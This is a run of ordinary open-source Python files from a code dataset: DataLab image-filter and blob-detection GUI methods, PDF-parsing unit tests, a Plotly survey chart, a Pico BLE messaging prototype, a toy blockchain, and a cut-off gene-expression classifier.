self.compute_11(cpi_edg.compute_scharr, title=_(\"Scharr filter\"))\n\n    @qt_try_except()\n    def compute_scharr_h(self) -> None:\n        \"\"\"Compute Scharr filter (horizontal)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_scharr_h,\n            title=_(\"Scharr filter (horizontal)\"),\n        )\n\n    @qt_try_except()\n    def compute_scharr_v(self) -> None:\n        \"\"\"Compute Scharr filter (vertical)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_scharr_v,\n            title=_(\"Scharr filter (vertical)\"),\n        )\n\n    @qt_try_except()\n    def compute_farid(self) -> None:\n        \"\"\"Compute Farid filter\"\"\"\n        self.compute_11(cpi_edg.compute_farid, title=_(\"Farid filter\"))\n\n    @qt_try_except()\n    def compute_farid_h(self) -> None:\n        \"\"\"Compute Farid filter (horizontal)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_farid_h,\n            title=_(\"Farid filter (horizontal)\"),\n        )\n\n    @qt_try_except()\n    def compute_farid_v(self) -> None:\n        \"\"\"Compute Farid filter (vertical)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_farid_v,\n            title=_(\"Farid filter (vertical)\"),\n        )\n\n    @qt_try_except()\n    def compute_laplace(self) -> None:\n        \"\"\"Compute Laplace filter\"\"\"\n        self.compute_11(cpi_edg.compute_laplace, title=_(\"Laplace filter\"))\n\n    @qt_try_except()\n    def compute_all_edges(self) -> None:\n        \"\"\"Compute all edges\"\"\"\n        funcs = [\n            cpi_edg.compute_roberts,\n            cpi_edg.compute_prewitt,\n            cpi_edg.compute_prewitt_h,\n            cpi_edg.compute_prewitt_v,\n            cpi_edg.compute_sobel,\n            cpi_edg.compute_sobel_h,\n            cpi_edg.compute_sobel_v,\n            cpi_edg.compute_scharr,\n            cpi_edg.compute_scharr_h,\n            cpi_edg.compute_scharr_v,\n            cpi_edg.compute_farid,\n            cpi_edg.compute_farid_h,\n            cpi_edg.compute_farid_v,\n            cpi_edg.compute_laplace,\n        ]\n        self.compute_1n(funcs, None, \"Edges\")\n\n    # ------Image Computing\n    @qt_try_except()\n    def compute_centroid(self) -> None:\n        \"\"\"Compute image centroid\"\"\"\n        self.compute_10(cpi.compute_centroid, ShapeTypes.MARKER, title=_(\"Centroid\"))\n\n    @qt_try_except()\n    def compute_enclosing_circle(self) -> None:\n        \"\"\"Compute minimum enclosing circle\"\"\"\n        # TODO: [P2] Find a way to add the circle to the computing results\n        #  as in \"enclosingcircle_test.py\"\n        self.compute_10(\n            cpi.compute_enclosing_circle, ShapeTypes.CIRCLE, title=_(\"Enclosing circle\")\n        )\n\n    @qt_try_except()\n    def compute_peak_detection(\n        self, param: cdl.param.Peak2DDetectionParam | None = None\n    ) -> None:\n        \"\"\"Compute 2D peak detection\"\"\"\n        edit, param = self.init_param(\n            param, cpi_det.Peak2DDetectionParam, _(\"Peak detection\")\n        )\n        if edit:\n            data = self.panel.objview.get_sel_objects()[0].data\n            param.size = max(min(data.shape) // 40, 50)\n\n        results = self.compute_10(\n            cpi_det.compute_peak_detection,\n            ShapeTypes.POINT,\n            param,\n            edit=edit,\n            title=_(\"Peak detection\"),\n        )\n        if results is not None and param.create_rois and len(results.items()) > 1:\n            with create_progress_bar(\n                self.panel, _(\"Create regions of interest\"), max_=len(results)\n            ) as progress:\n                for idx, (oid, result) in enumerate(results.items()):\n                    progress.setValue(idx + 1)\n                    QW.QApplication.processEvents()\n                    if progress.wasCanceled():\n                        break\n                    obj = self.panel.objmodel[oid]\n                    dist = distance_matrix(result.data)\n                    dist_min = dist[dist != 0].min()\n                    assert dist_min > 0\n                    radius = int(0.5 * dist_min / np.sqrt(2) - 1)\n                    assert radius >= 1\n                    roicoords = []\n                    ymax, xmax = obj.data.shape\n                    for x, y in result.data:\n                        coords = [\n                            max(x - radius, 0),\n                            max(y - radius, 0),\n                            min(x + radius, xmax),\n                            min(y + radius, ymax),\n                        ]\n                        roicoords.append(coords)\n                    obj.roi = np.array(roicoords, int)\n                    self.SIG_ADD_SHAPE.emit(obj.uuid)\n                    self.panel.SIG_REFRESH_PLOT.emit(obj.uuid, True)\n\n    @qt_try_except()\n    def compute_contour_shape(\n        self, param: cdl.param.ContourShapeParam | None = None\n    ) -> None:\n        \"\"\"Compute contour shape fit\"\"\"\n        edit, param = self.init_param(param, cpi_det.ContourShapeParam, _(\"Contour\"))\n        self.compute_10(\n            cpi_det.compute_contour_shape,\n            shapetype=None,  # Shape is defined by the dataset ContourShapeParam\n            param=param,\n            title=_(\"Contour\"),\n            edit=edit,\n        )\n\n    @qt_try_except()\n    def compute_hough_circle_peaks(\n        self, param: cdl.param.HoughCircleParam | None = None\n    ) -> None:\n        \"\"\"Compute peak detection based on a circle Hough transform\"\"\"\n        self.compute_10(\n            cpi.compute_hough_circle_peaks,\n            ShapeTypes.CIRCLE,\n            param,\n            cpi.HoughCircleParam,\n            title=_(\"Hough circles\"),\n        )\n\n    @qt_try_except()\n    def compute_blob_dog(self, param: cdl.param.BlobDOGParam | None = None) -> None:\n        \"\"\"Compute blob detection using Difference of Gaussian method\"\"\"\n        self.compute_10(\n            cpi_det.compute_blob_dog,\n            ShapeTypes.CIRCLE,\n            param,\n            cpi_det.BlobDOGParam,\n            title=_(\"Blob detection (DOG)\"),\n        )\n\n    @qt_try_except()\n    def compute_blob_doh(self, param: cdl.param.BlobDOHParam | None = None) -> None:\n        \"\"\"Compute blob detection using Determinant of Hessian method\"\"\"\n        self.compute_10(\n            cpi_det.compute_blob_doh,\n            ShapeTypes.CIRCLE,\n            param,\n            cpi_det.BlobDOHParam,\n            title=_(\"Blob detection (DOH)\"),\n        )\n\n    @qt_try_except()\n    def compute_blob_log(self, param: cdl.param.BlobLOGParam | None = None) -> None:\n        \"\"\"Compute blob detection using Laplacian of Gaussian method\"\"\"\n        self.compute_10(\n            cpi_det.compute_blob_log,\n            ShapeTypes.CIRCLE,\n            param,\n            cpi_det.BlobLOGParam,\n            title=_(\"Blob detection (LOG)\"),\n        )\n\n    @qt_try_except()\n    def compute_blob_opencv(\n        self,\n        param: cdl.param.BlobOpenCVParam | None = None,\n    ) -> None:\n        \"\"\"Compute blob detection using OpenCV\"\"\"\n        self.compute_10(\n            cpi_det.compute_blob_opencv,\n            ShapeTypes.CIRCLE,\n            param,\n            cpi_det.BlobOpenCVParam,\n            title=_(\"Blob detection (OpenCV)\"),\n        )\n\n    def _get_stat_funcs(self) -> list[tuple[str, Callable[[np.ndarray], float]]]:\n        \"\"\"Return statistics functions list\"\"\"\n        # Be careful to use systematically functions adapted to masked arrays\n        # (e.g. numpy.ma median, and *not* numpy.median)\n        return [\n            (\"min(z)\", lambda z: z.min()),\n            (\"max(z)\", lambda z: z.max()),\n            (\"<z>\", lambda z: z.mean()),\n            (\"Median(z)\", ma.median),\n            (\"σ(z)\", lambda z: z.std()),\n            (\"Σ(z)\", lambda z: z.sum()),\n            (\"<z>/σ(z)\", lambda z: z.mean() / z.std()),\n        ]\n","repo_name":"Codra-Ingenierie-Informatique/DataLab","sub_path":"cdl/core/gui/processor/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":31399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6937998436","text":"from pickle import TRUE\nimport sys\nimport os\n# allows us to import flaskapp module\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\n\nfrom flaskapp.dataPipeline.budgetReader import PDFImporter\nfrom flaskapp import create_app\n\nfrom fileinput import filename\nimport os\nimport unittest\nfrom io import BytesIO\nimport re\n\nTEST_DB = 'test.db'\napp = create_app()\n\n\nclass BasicTests(unittest.TestCase):\n    ############################\n    #### setup and teardown ####\n    ############################\n    # executed prior to each test\n    def setUp(self):\n        app.config['TESTING'] = True\n        app.config['WTF_CSRF_ENABLED'] = False\n        app.config['DEBUG'] = False\n        self.app = app.test_client()\n\n    # executed after each test\n    def tearDown(Self):\n        pass\n\n    def getFiles(self):\n        flist = []\n        for file in os.listdir(\"tests/pdf_input\"):\n            if file.endswith(\".pdf\"):\n                f = os.path.join(\"tests/pdf_input\", file)\n                flist.append(f)\n        return flist\n\n    ############################\n    #### setup and teardown ####\n    ############################\n\n    def test_parsePDFWithCorrectEnding(self):\n        '''\n        test_parsePDFWithCorrectEnding() will check if the DF of the pdf will generate ONE count of the 'ending balance' string data\n        '''\n        fList = self.getFiles()\n        print(\"Input File: %s\" % fList)\n\n        # open pdf file and save content to variable file\n        for f in fList:\n            fileName = os.path.basename(f)\n            endOfBalanceCount = 0\n            with open(f, 'rb') as openedFile:\n                pdfContent = openedFile.read()\n                file = BytesIO(pdfContent)\n                pdf = PDFImporter(pdfName=fileName, pdf=file, user_id=1)\n                cleanedDF = pdf.cleanupPDF()\n                transactionDetailList = cleanedDF['transactionDetail'].tolist()\n\n                # check if there are exacly one 'Ending Balance' string in the transactionDetailList\n                for data in transactionDetailList:\n                    if data == 'Ending Balance':\n                        endOfBalanceCount += 1\n\n            print('*'*30)\n            print('Testing file %s, file contains %s \"Ending Balance\" count' %\n                  (fileName, endOfBalanceCount))\n            print('*'*30)\n            if endOfBalanceCount != 1:\n                    break\n        self.assertEqual(endOfBalanceCount, 1)\n\n    def test_dateFieldPDF(self):\n        '''\n        test_dateFieteldPDF() will check if the date field in the DF is in the correct format, dd-mm\n        '''\n        fList = self.getFiles()\n        print(\"Input File: %s\"%fList)\n\n        # open pdf file and save content to variable file\n        for f in fList:\n            fileName = os.path.basename(f)\n\n            print('*'*30)\n            print('Testing date field for file: %s'%fileName)\n            print('*'*30)\n\n            with open(f, 'rb') as openedFile:\n                pdfContent = openedFile.read()\n                file = BytesIO(pdfContent)\n                pdf = PDFImporter(pdfName=fileName,pdf=file, user_id=1)\n                cleanedDF = pdf.cleanupPDF()\n                dateList = cleanedDF['date'].tolist()\n\n                # check if the date field is in date format\n                for index in range(0,len(dateList)):\n                    try:\n                        if re.fullmatch(r'[0-9]{2}[-][0-9]{2}',dateList[index]) is None:\n                            print('Date field not valid')\n                            print('File: %s'%fileName)\n                            print('Row %s in Dataframe'%index)\n                            self.assertEqual(True, False)\n                    except ValueError as e:\n                        print('Date field not valid')\n                        print('File: %s'%fileName)\n                        print('Row %s in Dataframe'%index)\n                        self.assertEqual(True, False)\n\n        self.assertEqual(True, True)\n\n    def test_balanceCount(self):\n        '''\n        test_balanceCount() will check if the correct balance is displayed based on the amount added or removed\n        '''\n        fList = self.getFiles()\n        print(\"Input File: %s\"%fList)\n\n        # open pdf file and save content to variable file\n        for f in fList:\n            fileName = os.path.basename(f)\n            print('*'*30)\n            print('Testing accountBalamce count: %s'%fileName)\n            print('*'*30)\n\n            with open(f, 'rb') as openedFile:\n                pdfContent = openedFile.read()\n                file = BytesIO(pdfContent)\n                pdf = PDFImporter(pdfName=fileName,pdf=file, user_id=1)\n                cleanedDF = pdf.cleanupPDF()\n                amountList = cleanedDF['amount'].tolist()\n                balanceList = cleanedDF['accountBalance'].tolist()\n\n                for index in range(0, len(balanceList)-2):\n                    if amountList[index+1][-1] == '-':\n                        amountList[index+1] = -abs(float(amountList[index+1][:-1].replace(',','')))\n                    else:\n                        amountList[index+1] = abs(float(amountList[index+1].replace(',','')))\n\n                    if round(float(balanceList[index].replace(',','')) + float(amountList[index+1]), 2) != float(balanceList[index+1].replace(',','')):\n\n                        print(round(float(balanceList[index].replace(',','')) + float(amountList[index+1]), 2))\n                        print(float(balanceList[index+1].replace(',','')))\n                        print(\"The values above DONT match\")\n                        self.assertEqual(round(float(balanceList[index].replace(',','')) + float(amountList[index+1]), 2), float(balanceList[index+1].replace(',','')))\n                        print(\"-\"*30)\n        \n                   \n\n\nif __name__ == '__main__':\n    # app.run(debug=True)\n    unittest.main()","repo_name":"Dimas713/budget_web_app","sub_path":"tests/test_pdfParsing.py","file_name":"test_pdfParsing.py","file_ext":"py","file_size_in_byte":5879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36943347883","text":"import plotly.graph_objects as go\nimport plotly.io as pio\nimport pandas as pd \nimport chart_studio.tools as tls\nimport chart_studio.plotly as py\n\n#hide the plotly logo\nconfig = {'displaylogo': False}\n\n#Create Dataframe for the visuals\ndf = pd.read_excel(\"/Users/niqtoliver/Desktop/ACES/aces_household_challenges_visualization/data.xlsx\", sheet_name=\"Sheet1\")\n\n\nfig = go.Figure()\nfig.add_trace(go.Bar(\n        x=df.data_values,\n        y=df.breakdown[0:3],\n        orientation=\"h\",\n        ))\n\nfig.update_traces( selector=dict(type='bar'))\n\n\ncols =[\"data_values\"]\n\nstatewide = [list(df[item][0:4]) for item in cols]\nasian = [list(df[item][4:8])  for item in cols]\nblack = [list(df[item][8:12])  for item in cols]\nhispa = [list(df[item][12:16])  for item in cols]\nwhite = [list(df[item][16:20])  for item in cols]\nfemale = [list(df[item][20:24])  for item in cols]\nmale = [list(df[item][24:28])  for item in cols]\nlgbt = [list(df[item][28:32])  for item in cols]\nunsure = [list(df[item][32:36])  for item in cols]\nhetero = [list(df[item][36:40])  for item in cols]\n\n# Chart should display only the chart for the specified button, and can toggle between other charts, going back to the original \ndropdown1 =  dict(method = \"update\", \n                args = [{'x': statewide}],\n                label = \"Statewide\")\n\ndropdown2 =  dict(method = \"update\",\n                args = [{'x': asian}],\n                label = \"Asian\")\n\ndropdown3 =  dict(method = \"update\",\n                args = [{'x': black}],\n                label = \"Black\")\n\ndropdown4 =  dict(method = \"update\",\n                args = [{'x': hispa}],\n                label = \"Hispanic\")\n\ndropdown5 =  dict(method = \"update\",\n                args = [{'x': white}],\n                label = \"White\")\n\ndropdown6 =  dict(method = \"update\",\n                args = [{'x': female}],\n                label = \"Female\")\ndropdown7 =  dict(method = \"update\",\n                args = [{'x': male}],\n                label = \"Male\")\n\ndropdown8 =  dict(method = \"update\",\n                args = [{'x': lgbt}],\n                label = \"Gay/Lesbian/Bisexual\")\n\ndropdown9 =  dict(method = \"update\",\n                args = [{'x': unsure}],\n                label = \"Unsure\")\n\ndropdown10 =  dict(method = \"update\",\n                args = [{'x': hetero}],\n                label = \"Heterosexual\")\n\nfig.update_layout(height=450,bargap=0.2, title=\"Child Abuse\", title_x=0.5,\n                  updatemenus=[dict(active=0,\n                                    buttons=[dropdown1, dropdown2, dropdown3, dropdown4,\n                                             dropdown5, dropdown6, dropdown7 ,dropdown8 ,\n                                             dropdown9, dropdown10])\n                               \n                              ])\n\n# fig.show(config=config)\n\n# fig.write_html(\"index.html\", auto_open=True)\n\npio.write_html(fig, config=config, file='index.html', auto_open=True)","repo_name":"CT-Data-Collaborative/aces_household_challenges_vis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31315461628","text":"import ble # This is the file in the same folder, should be uploaded to Pico.\r\nimport uasyncio as asyncio\r\nimport time\r\n\r\n\r\nclass BLEBirdy: # \"Bidirectional\" to \"Bidir\" to \"Birdy\" lmao i hate myself\r\n    def __init__(self, operation, line=\"DefaultLine\"):\r\n        self.line = line\r\n        self.operation = operation\t# operation can either be True or False.\r\n                                    # True => Yell operator, False => Listen operator.\r\n                                    # The operation type does not directly affect their\r\n                                    # functionality.\r\n        self.op = None # op stands for operator, either in Yell or Listen operations\r\n        self.success = False\r\n        \r\n    def connect(self): # Connects one Pico to another Pico\r\n        try:\r\n            # Attempts to connect via bluetooth!\r\n            if self.operation is True:\r\n                self.op = ble.Yell(self.line) # establishes connection using the message in self.line\r\n            else:\r\n                self.op = ble.Listen(self.line) # establishes connection using the message in self.line\r\n            if self.op.connect_up(): # Checks connection, connect_up() is currently blocking, should get around?\r\n                self.success = True\r\n            return self.success\r\n        except Exception as e: # if any error occurs, disconnect if possible\r\n            self.disconnect()\r\n            print(e)\r\n            \r\n    def disconnect(self): # Disconnect the established connection, if possible\r\n        if self.op is not None and self.success is True:\r\n            self.op.disconnect()\r\n        \r\n    async def read(self):\r\n        while True:\r\n            print(\"entered read function\")\r\n            if self.op.is_any(): # Read any received BLE comm.\r\n                print(self.op.read())\r\n#                 self.op = self.op.decode()\r\n#                 print(f\" >> {self.op}\", end='')\r\n            await asyncio.sleep_ms(10)\r\n            \r\n    async def send(self):\r\n        while True:\r\n            print(\"entered send function\")\r\n            if self.operation is True:\r\n                time.sleep(1)\r\n                self.op.send(\"OI MATE\")\r\n            else:\r\n                time.sleep(1)\r\n                self.op.write(\"NAHHH FACK YOU\")\r\n            await asyncio.sleep_ms(10)\r\n            \r\n    async def main(self, duration):\r\n        asyncio.create_task(self.read())\t\t\t# read task\r\n        asyncio.create_task(self.send())\t# send task\r\n        await asyncio.sleep(duration)\t\t# sleeps for duration secs\r\n    \r\n    def run(self, runtime):\r\n        try:\r\n            asyncio.run(self.main(runtime)) # runs everything for __ seconds\r\n        except KeyboardInterrupt:\r\n            print('Interrupted')\r\n        finally:\r\n            asyncio.new_event_loop()  \r\n            print('All set! There will be a clear state now.')\r\n\r\n    \r\n","repo_name":"remren/me35hw6","sub_path":"workspaces/rren/gaaaarbage/ble/blebirdy_proto.py","file_name":"blebirdy_proto.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8737481932","text":"from datetime import datetime\nfrom pip._vendor import requests\nfrom Crypto.PublicKey import RSA\nfrom urllib.parse import urlparse\nfrom blockchain.modules.Escrow import Escrow\nfrom blockchain.modules.Lender import Lender\nfrom blockchain.modules.MusharakSmartContract import MusharakSmartContract\nfrom blockchain.modules.ScTransaction import ScTransaction\nfrom .Block import Block\nfrom .Transaction import Transaction\nfrom .Property import Property\n\n\nclass Blockchain:\n\n    def __init__(self):\n        self.chain = [self.create_genesis_block()]\n        self.difficulty = 2\n        self.pending_transactions = []\n        self.mining_reward = 10\n        self.url = \"\"\n        self.nodes = set()  # New\n\n    def create_genesis_block(self):\n        return Block(\"01/01/2022 8:90:23\", \"Genesis block\")\n\n    def get_last_block(self):\n        return self.chain[-1]\n\n    def mine_pending_txs(self, miner_address):\n\n        # First reward the miner, could be done last\n        self.pending_transactions.append(Transaction(\n            None, miner_address, self.mining_reward))\n\n        # If I successfully mine send reward to miningRewardAddress\n        # In a real blockchain there are too many transactions to be put\n        # in the same block so miners choose which transactions to include\n\n        block = Block(\n            datetime.now().strftime(\n                \"%m/%d/%Y, %H:%M:%S\"),\n            self.pending_transactions,\n            self.get_last_block().hash\n        )\n\n        block.hash = block.calculate_hash()\n\n        block.mine_block(self.difficulty)\n\n        print(\"Block Successfully Mined\")\n\n        # rewarding the miner in the next block\n        # If the miner adds extra rewards other nodes in the network will ignore it\n        self.pending_transactions = []\n\n        # broadcast to all other nodes\n        self.broadcast_block(block)\n\n        self.chain.append(block)\n\n        return block\n\n    def add_transaction(self, transaction):  # New\n        if (not transaction.sender):\n            raise ValueError('Transacton must include from address')\n\n        is_valid = transaction.is_valid_transaction()\n\n        if (not is_valid):\n            raise ValueError('Cannot add invalid transaction to chain')\n\n        self.pending_transactions.append(transaction)\n\n        return \"Transaction Added\"\n\n    def broadcast_block(self, block):\n\n        count = 0\n        block_json = self.object_tojson(block)\n        data_json = block_json['data']\n        print('data_json')\n        print(data_json)\n\n        payload = {\n            # ['timestamp', 'data', 'previous_hash', 'hash']\n            \"timestamp\":  block.timestamp,\n            \"data\": data_json,\n            \"previous_hash\": block.previous_hash,\n            \"hash\": block.hash\n        }\n\n        for node in self.nodes:\n            if (node != self.url):\n                url = \"http://\"+node+\"/block_broadcast\"\n                print(\"THE URL\" + url)\n                response = requests.post(\n                    url, json=payload)\n                # print(\"POST RESPONSE\")\n                received_json = response.json()\n                block_added = received_json.get('block_added')\n                print(\"noded accepted block\")\n                print(block_added)\n\n                # response = requests.post(url)\n                # response.json()\n\n    def broadcast_pendingtx(self, transaction):\n        # broadcast transaction to\n        payload = self.object_tojson(transaction)\n        for node in self.nodes:\n            if (node != self.url):\n                url = \"http://\"+node+\"/pendingtx_broadcast\"\n                print(\"THE URL\" + url)\n                response = requests.post(\n                    url, json=payload)\n                # print(\"POST RESPONSE\")\n                received_json = response.json()\n                transaction_added = received_json.get('transaction_added')\n                print(\"node accepted block\")\n                print(transaction_added)\n\n    def is_chain_valid(self, chain):\n        # Check if the Genesis block hasn't been tampered with by comparing\n        # the output of createGenesisBlock with the first block on our chain\n        real_genesis = self.create_genesis_block().json_encode()\n\n        if (real_genesis != self.chain[0].json_encode()):\n            print(\"GNESIS IS NOT VALID\")\n            return False\n\n        for i in range(1, len(self.chain)):\n            current_block = self.chain[i]\n            previous_block = self.chain[i-1]\n\n            print(\"############################\")\n            print(current_block.data)\n            print(current_block.hash)\n            print(\"############################\")\n            print(previous_block.data)\n\n            if (current_block.hash != current_block.calculate_hash()):\n                print('curren is invalid')\n                return False\n\n            if (current_block.previous_hash != previous_block.hash):\n                print(current_block.previous_hash)\n                print(previous_block.hash)\n                print('previous is invalid')\n                return False\n\n            # Check if all transactions in the current block are valid\n            if (not current_block.has_valid_transactions()):\n                print('has invalid transactions')\n                return False\n\n        return True\n\n    def get_balance(self, wallet_address):\n        balance = 1000\n        for i in range(1, len(self.chain)):\n            block = self.chain[i]\n            try:\n                for j in range(0, len(block.data)):\n                    transaction = block.data[j]\n                    if hasattr(transaction, \"property\"):\n                        if (transaction.sender == wallet_address):\n                            balance -= int(transaction.downpayment)\n                    elif hasattr(transaction, \"func\"):\n                        if (transaction.sender == wallet_address):\n                            balance -= int(transaction.amount)\n                    else:\n                        if (transaction.sender == wallet_address):\n                            balance -= int(transaction.amount)\n                        if (transaction.receiver == wallet_address):\n                            balance += int(transaction.amount)\n            except AttributeError:\n                print(\"no transaction\")\n        return balance\n\n    # lenders are all those who sent money to the SC wallet address\n    def get_lenders(self, sc_wallet_address):\n        lenders = []\n        for i in range(1, len(self.chain)):\n            block = self.chain[i]\n            try:\n                for j in range(0, len(block.data)):\n                    transaction = block.data[j]\n                    if (transaction.reciever == sc_wallet_address):\n                        lenders.append(transaction.sender)\n            except AttributeError:\n                print(\"no transaction\")\n        return lenders\n\n    # def rentPaid():\n    # TODO\n    # distribute received rent over lenders\n\n    # def rentNotPaid():\n    # TODO\n    # // distribute rent from borrowers position to lenders\n    # // if borrower has not percentage from which rent can be\n    # // taken our give the lender the option to sell\n\n    # def sell():\n    # TODO\n    # // submit the property for sale\n\n    # /*\n    # we need pending transactions because we can only make a certain number of\n    # transactions on a particular interval. Proof of Work makes sure only one block\n    # is created every ten minutes. All other transactions are temporarily stored in this\n    # pending transactions array\n    #\n\n    def add_node(self, address):  # New\n        self.nodes.add(address)\n        # parsed_url = urlparse(address)\n        # self.nodes.add(parsed_url.netloc)\n\n    def replace_chain(self):  # New\n        longest_chain = None\n        max_length = len(self.chain)\n        for node in self.nodes:\n            if node != self.url:\n                print(\"NODE IS BCHAIN\" + str(self.nodes))\n                response = requests.get(f'http://{node}/get_chain')\n                if response.status_code == 200:\n                    length = response.json()['length']\n                    chain = response.json()['chain']\n                    if length > max_length and self.is_chain_valid(chain):\n                        max_length = length\n                        longest_chain = chain\n        if longest_chain:\n            # TODO convert longest_chain to Blockchian class from json\n            self.chain = self.chainJSONdecode(longest_chain)\n            return longest_chain\n        return {}\n\n    # def execute_sc_transactions(self):\n    #     for block in self.chain:\n    #         for tx in block.data:\n    #             block = self.chain[tx.bl_idx]\n    #             smartcontract = block.data[tx.sctx_idx]\n    #             if hasattr(tx, \"func\"):\n    #                 if tx.func == \"smartcontract.update_balance\":\n    #                     smartcontract.update_balance(tx.amount)\n    #                 elif tx.func == \"smartcontract.add_lender\":\n    #                     smartcontract.add_lender(\n    #                         Lender(tx.sender, tx.amount))\n\n    def chainJSONdecode(self, chainJSON):\n        chain = []\n        for blockJSON in chainJSON:\n\n            # check if block is the Genesis block\n            if blockJSON['data'] == \"Genesis block\" or len(blockJSON['data']) == 0:\n                block = Block(blockJSON['timestamp'], \"Genesis block\")\n                block.hash = blockJSON['hash']\n                block.previous_hash = blockJSON['previous_hash']\n                block.nonce = blockJSON['nonce']\n                chain.append(block)\n            else:\n                tArr = self.json_to_transactions(blockJSON['data'])\n\n                block = Block(blockJSON['timestamp'], tArr)\n                print(\"HASH#####################\")\n                print(blockJSON['hash'])\n                block.hash = blockJSON['hash']\n                block.previous_hash = blockJSON['previous_hash']\n                block.nonce = blockJSON['nonce']\n\n                chain.append(block)\n\n        return chain\n\n    def json_to_transactions(self, tArrayJSON):\n\n        tArr = []\n        for tJSON in tArrayJSON:\n            transaction = None\n            # Check if it is a smartcontract\n            if \"property\" in tJSON:\n                lenders = []\n                if (len(tJSON['lenders']) != 0):\n                    for lend in tJSON['lenders']:\n                        l = Lender(lend['wallet_address'],\n                                   int(lend['loaned_amount']))\n                        lenders.append(l)\n\n                esc = tJSON['escrow']\n                escrow = esc\n                if tJSON['escrow'] is not None:\n                    escrow = Escrow(\n                        esc['name'], esc['wallet_address'], esc['property_id'])\n\n                prop = tJSON['property']\n                property = Property(prop['address'],\n                                    prop['price'], prop['seller'], prop['rent'])\n                property.property_id = prop['property_id']\n\n                transaction = MusharakSmartContract(\n                    int(tJSON['bl_idx']),\n                    int(tJSON['sctx_idx']),\n                    tJSON['wallet_address'],\n                    tJSON['sender'], property,\n                    int(tJSON['downpayment']),\n                    int(tJSON['loan_granted']),\n                    lenders, escrow, tJSON['timestamp'])\n\n                transaction.signature = tJSON['signature']\n                transaction.hash = tJSON['hash']\n            # Check if it is smartcontract transaction\n            elif \"func\" in tJSON:\n                block = self.chain[int(tJSON['bl_idx'])]\n                smartcontract = block.data[int(tJSON['sctx_idx'])]\n                # getting the function using the funcname passed from get_chain\n                func = getattr(smartcontract, tJSON['func'])\n\n                transaction = ScTransaction(\n                    tJSON['bl_idx'], tJSON['sctx_idx'], tJSON['sender'],\n                    tJSON['receiver'], func, int(tJSON['amount']), tJSON['timestamp'])\n                transaction.signature = tJSON['signature']\n                transaction.hash = tJSON['hash']\n            # If none of the above, it is a normal transaction\n            else:\n                # sender, receiver, amount, timestamp\n                transaction = Transaction(tJSON['sender'], tJSON['receiver'], int(\n                    tJSON['amount']), tJSON['timestamp'])\n                transaction.signature = tJSON['signature']\n                transaction.hash = tJSON['hash']\n\n            tArr.append(transaction)\n\n        return tArr\n\n    def object_tojson(self, ob):\n        jsonOb = {}\n        func = None\n        if hasattr(ob, \"func\"):\n            # print(ob.func.__name__)\n            jsonOb[\"func\"] = ob.func.__name__\n        for field in filter(lambda a: not a.startswith('__'), dir(ob)):\n            attribute = getattr(ob, field)\n            if (not callable(attribute)):\n                if type(attribute) is Property:\n                    jsonOb[str(field)] = self.object_tojson(attribute)\n                    # print(\"PROPERTY CHANGED\")\n                elif type(attribute) is list:\n                    # print(\"LENDER CHANGED\")\n                    lenders = []\n                    for lender in attribute:\n                        lnd = self.object_tojson(lender)\n                        lenders.append(lnd)\n                    jsonOb[str(field)] = lenders\n                else:\n                    jsonOb[str(field)] = attribute\n        return jsonOb\n","repo_name":"alkalaminstitute/bunyaan_poc","sub_path":"blockchain/modules/Blockchain.py","file_name":"Blockchain.py","file_ext":"py","file_size_in_byte":13554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"45510193663","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import cross_val_score\n\ndata_dir = 'data/'\n\n\ndef process_data():\n    gene_file = 'gene_expression.csv'\n    clinical_file = 'clinical.csv'\n\n    gene_file_path = os.path.join(data_dir, gene_file)\n    clinical_file_path = os.path.join(data_dir, clinical_file)\n\n    gene_df = pd.read_csv(gene_file_path, header=0, index_col=0)\n    gene_df = gene_df.transpose()\n    clinical_df = pd.read_csv(clinical_file_path, header=0, index_col=0)\n\n    clinical_df = clinical_df.loc[:, ['cohort', 'type_cancer_3']]\n\n    df = gene_df.join(clinical_df)\n\n    df['type_cancer_3'] = (df['type_cancer_3'] == 'CO').astype(int)\n\n    X_df = df.loc[:, 'cg00009553': 'cohort']\n    cohort = df.loc[:, 'cohort']\n    Y_df = df.loc[:, 'type_cancer_3']\n\n    X_train, X_test, y_train, y_test = train_test_split(X_df, Y_df, test_size=0.2, random_state=77, stratify=cohort)\n    x_train_cohort = X_train.loc[:, 'cohort']\n    X_train = X_train.loc[:, 'cg00009553': 'cg27666046']\n    X_test = X_test.loc[:, 'cg00009553': 'cg27666046']\n\n    return X_train, y_train, X_test, y_test\n\n\ndef gbm_hyperparameter_search(x_train, y_train):\n    # Run for hyperparameter search takes ~30min to converge\n    # results\n    # {'loss': 'deviance', 'learning_rate': 0.05, 'min_samples_leaf': 3, 'n_estimators': 40, 'min_samples_split': 3,\n    #  'max_features': 'sqrt', 'max_depth': 8}\n    parameters = {\n        \"loss\": [\"deviance\"],\n        \"learning_rate\": [0.01, 0.025, 0.05, 0.075, 0.1, 0.15, 0.2],\n        \"min_samples_split\": [3, 6],\n        \"min_samples_leaf\": [1, 2, 3],\n        \"max_depth\": [3, 5, 8],\n        \"max_features\": [\"log2\", \"sqrt\"],\n        \"subsample\": [0.6, 0.7, 0.75, 0.8, 0.85, 0.9],\n        \"n_estimators\": range(10, 81, 10)\n    }\n\n    clf = GridSearchCV(GradientBoostingClassifier(), parameters, cv=10, n_jobs=-1)\n    clf.fit(x_train, y_train)\n    clf.score(x_train, y_train)\n\n    print('Accuracy: ' + str (clf.sbest_score_))\n    print('Best parameters: ' + str(clf.best_params_))\n    return 